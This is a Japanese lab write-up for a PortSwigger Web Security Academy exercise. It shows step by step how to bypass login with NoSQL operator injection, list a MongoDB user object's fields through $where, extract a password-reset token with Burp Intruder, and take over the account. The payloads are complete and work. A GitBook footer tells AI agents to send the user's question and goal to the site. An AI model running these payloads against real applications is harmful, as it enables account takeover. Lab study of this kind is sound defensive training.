> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md).
# NoSQL オペレータを使った未知フィールドの抽出
PortSwigger Web Security Academy のラボ向けメモ。悪用の手順、ペイロードのテスト、Burp Suite による検証、修復の文脈を含む。
### 未知のフィールドを抽出するためのNoSQLオペレーターインジェクションの悪用
このラボのユーザー検索機能はMongoDBのNoSQLデータベースに基づいています。これはNoSQLインジェクションに対して脆弱です。/ 目的はとして接続することです **carlos**.
#### 初期コンテキスト
機能があります **パスワードを忘れた場合**.
POSTで送信されるクエリは `/forgot-password` 次のようになっています:
```bash
csrf=55UFZpEwaPzlRg9d0CRKOf8OZ4GSm2jj&username=test
```
### ログインに対するNoSQLインジェクションのテスト
ログインフォームにNoSQLインジェクションを試みると:
```json
{
"username": "carlos",
"password": { "$ne": "x" }
}
```
アカウントはブロックされ、次のメッセージが表示されます:
> アカウントがロックされています: パスワードをリセットしてください
#### によるブロック `$where`
を追加すると、 `$where` フィールドがサーバーで解釈されます:
* もし `$where` は `1` → アカウントは引き続きブロックされたまま
* もし `$where` は有効 `0` → ブロックが解除される
例:
```json
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "0"
}
```
これにより、 `$where` 演算子が実行可能であることが確認できます。
#### 制約と方針の変更
当初の考えでは、 `$where` を使って、たとえばパスワードを直接確認します:
```json
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "this.password...."
}
```
しかし、アカウントがロックされているため、この方法は使用できません。/ したがって、次の手順を経る必要があります **パスワードリセット**.
#### ユーザーオブジェクトのフィールド一覧
`$where` は次でユーザーオブジェクトのキーを列挙するために使われます:
```javascript
Object.keys(this)[0].match('^.{X}Y.*')
```
完全なリクエスト：
```json
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "Object.keys(this)[0].match('^.{X}Y.*')"
}
```
* `X`: 文字位置 (0-20)
* `Y`: テスト対象の文字 (`a-z`, `A-Z`, `0-9`)
攻撃の送信方法 **Intruder** を **Cluster Bomb**
#### フィールド列挙の結果
レスポンスの長さに基づく (**Content-Length**):
* `Object.keys(this)[0]` → `id`
```javascript
"$where": "Object.keys(this)[1].match('^.{X}Y.*')"
```
* `Object.keys(this)[1]` → `username`
* `Object.keys(this)[2]` → `パスワード`
```javascript
"$where": "Object.keys(this)[2].match('^.{X}Y.*')"
```
* `Object.keys(this)[3]` → `email`
* `Object.keys(this)[4]` → `passwordReset`
" その `passwordReset` フィールドは、パスワードリセットがトリガーされた場合にのみ表示されます **carlos**.
```javascript
"$where": "Object.keys(this)[4].match('^.{X}Y.*')"
```
#### の確認 `passwordReset` フィールド
エンドポイントへのアクセス:
```bash
/forgot-password?passwordReset=
```
回答:
> 無効なトークン
フィールドは存在します
#### トークン一覧 `passwordReset`
次にトークンの値を抽出します:
```javascript
"$where": "this.passwordReset.match('^.{X}Y.*')"
```
```javascript
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "this.passwordReset.match('^.{X}Y.*')"
}
```
* `X`: 文字位置
* `Y`: 使用可能な文字
* で送信 **Intruder** (Cluster Bomb)
#### 結果
その **carlos** リセットトークンが取得されます:
```bash
5d252f7e28f468ee
```
#### 最終的な悪用
このトークンを使うと、パスワードリセット機能にアクセスして、次の対象の新しいパスワードを設定できます **carlos**。これにより、アカウントにログインしてラボを完了できます。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
